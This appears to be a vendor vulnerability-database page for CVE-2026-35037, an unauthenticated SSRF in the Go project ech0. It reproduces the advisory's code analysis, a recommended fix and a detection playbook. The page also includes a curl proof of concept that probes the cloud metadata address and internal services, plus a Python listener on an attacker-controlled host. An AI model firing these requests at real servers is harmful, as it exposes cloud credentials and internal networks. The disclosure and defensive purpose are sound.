NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-35037 — ech0

HIGH

CVE-2026-35037 is a high-severity (CVSS 7.2) Server-Side Request Forgery (SSRF) vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.

Ech0 affected by unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata

Also known asGHSA-cqgf-f4x7-g6wcGO-2026-5331
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35037.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk
0.00%0.41%0.81%1.22%0.0%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/lin-snow/ech0

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.

Details

The vulnerability exists in the interaction between four components:

1. Route registration — no authentication (internal/router/common.go:11):

appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())

The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).

2. Handler — no input validation (internal/handler/common/common.go:106-127):

func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
    return res.Execute(func(ctx *gin.Context) res.Response {
        var dto commonModel.GetWebsiteTitleDto
        if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
        title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
        ...
    })
}

The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required" — no URL scheme or host validation.

3. Service — TrimURL is cosmetic (internal/service/common/common.go:122-125):

func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
    websiteURL = httpUtil.TrimURL(websiteURL)
    body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
    ...
}

TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.

4. HTTP client — unrestricted outbound request (internal/util/http/http.go:53-84):

client := &http.Client{
    Timeout: clientTimeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{
            InsecureSkipVerify: true,
        },
    },
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)

The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.

The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.

PoC

Step 1: Probe cloud metadata endpoint (AWS)

curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'

If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.

Step 2: Probe internal localhost services

curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'

Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.

Step 3: Exfiltrate data from internal web services with HTML title tags

curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'

If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.

Step 4: Confirm with a controlled external server

# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type','text/html')
        self.end_headers()
        self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &

# From any client:
curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'

Expected response contains "data":"SSRF-CONFIRMED", proving the server made an outbound request to the attacker-controlled URL.

Impact

  • Cloud credential theft: An attacker can reach cloud metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data.
  • Internal network reconnaissance: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.
  • Localhost service interaction: Access to services bound to 127.0.0.1 (databases, caches, admin panels) that rely on network-level isolation for security.
  • Firewall bypass: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.
  • Data exfiltration: Partial response content is leaked through the <title> tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.

The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.

Recommended Fix

Add URL validation in GetWebsiteTitle to block requests to private/reserved IP ranges and restrict allowed schemes. In internal/service/common/common.go:

import (
    "net"
    "net/url"
)

func isPrivateIP(ip net.IP) bool {
    privateRanges := []string{
        "127.0.0.0/8",
        "10.0.0.0/8",
        "172.16.0.0/12",
        "192.168.0.0/16",
        "169.254.0.0/16",
        "::1/128",
        "fc00::/7",
        "fe80::/10",
    }
    for _, cidr := range privateRanges {
        _, network, _ := net.ParseCIDR(cidr)
        if network.Contains(ip) {
            return true
        }
    }
    return false
}

func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
    websiteURL = httpUtil.TrimURL(websiteURL)

    // Validate URL scheme
    parsed, err := url.Parse(websiteURL)
    if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
        return "", errors.New("only http and https URLs are allowed")
    }

    // Resolve hostname and block private IPs
    host := parsed.Hostname()
    ips, err := net.LookupIP(host)
    if err != nil {
        return "", fmt.Errorf("failed to resolve hostname: %w", err)
    }
    for _, ip := range ips {
        if isPrivateIP(ip) {
            return "", errors.New("requests to private/internal addresses are not allowed")
        }
    }

    body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
    // ... rest unchanged
}

Additionally, consider:

  1. Removing InsecureSkipVerify: true from SendRequest in internal/util/http/http.go:69
  2. Disabling redirect following in the HTTP client (CheckRedirect returning http.ErrUseLastResponse) or re-validating the target IP after each redirect to prevent DNS rebinding
  3. Adding rate limiting to this endpoint

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lin-snow/ech0all versions1.4.8-0.20260401031029-4ca56fea5ba4go get github.com/lin-snow/ech0@v1.4.8-0.20260401031029-4ca56fea5ba4

Affected Products

1 product · 1 configurations
Application
ech0ech0
< 4.2.8
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/lin-snow/ech0 to 1.4.8-0.20260401031029-4ca56fea5ba4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35037 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

How to detect CVE-2026-35037

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2026-35037 -u https://target
Template
Ech0 < 4.2.8 - Server-Side Request Forgery
Severity
high

Template by ProjectDiscovery nuclei-templates (fineman999), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

## Summary The `GET /api/website/title` endpoint accepts an arbitrary URL via the `website_url` query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML `<title>` tag extraction. ## Details The vulnerability exists in the interaction between four components: **1. Route registration — no authentication** (`in
O3 Security · Impact-Aware SCA

Is CVE-2026-35037 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-35037: ech0 SSRF — Fix Available